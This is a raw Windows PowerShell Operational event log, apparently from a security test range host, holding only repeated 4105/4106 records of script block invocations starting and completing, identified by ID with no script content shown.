ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038333
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038332
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038331
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038330
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038329
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038328
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038327
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038326
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038325
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038324
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038323
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038322
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038321
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038320
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038319
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038318
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038317
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038316
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038315
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038314
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038313
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038312
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038311
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038310
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038309
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038308
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038307
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038306
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038305
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038304
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038303
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038302
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038301
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038300
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038299
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038298
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038297
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038296
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038295
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038294
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038293
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038292
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038291
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038290
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038289
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038288
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038287
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038286
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038285
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038284
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038283
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038282
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038281
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038280
Keywords=None
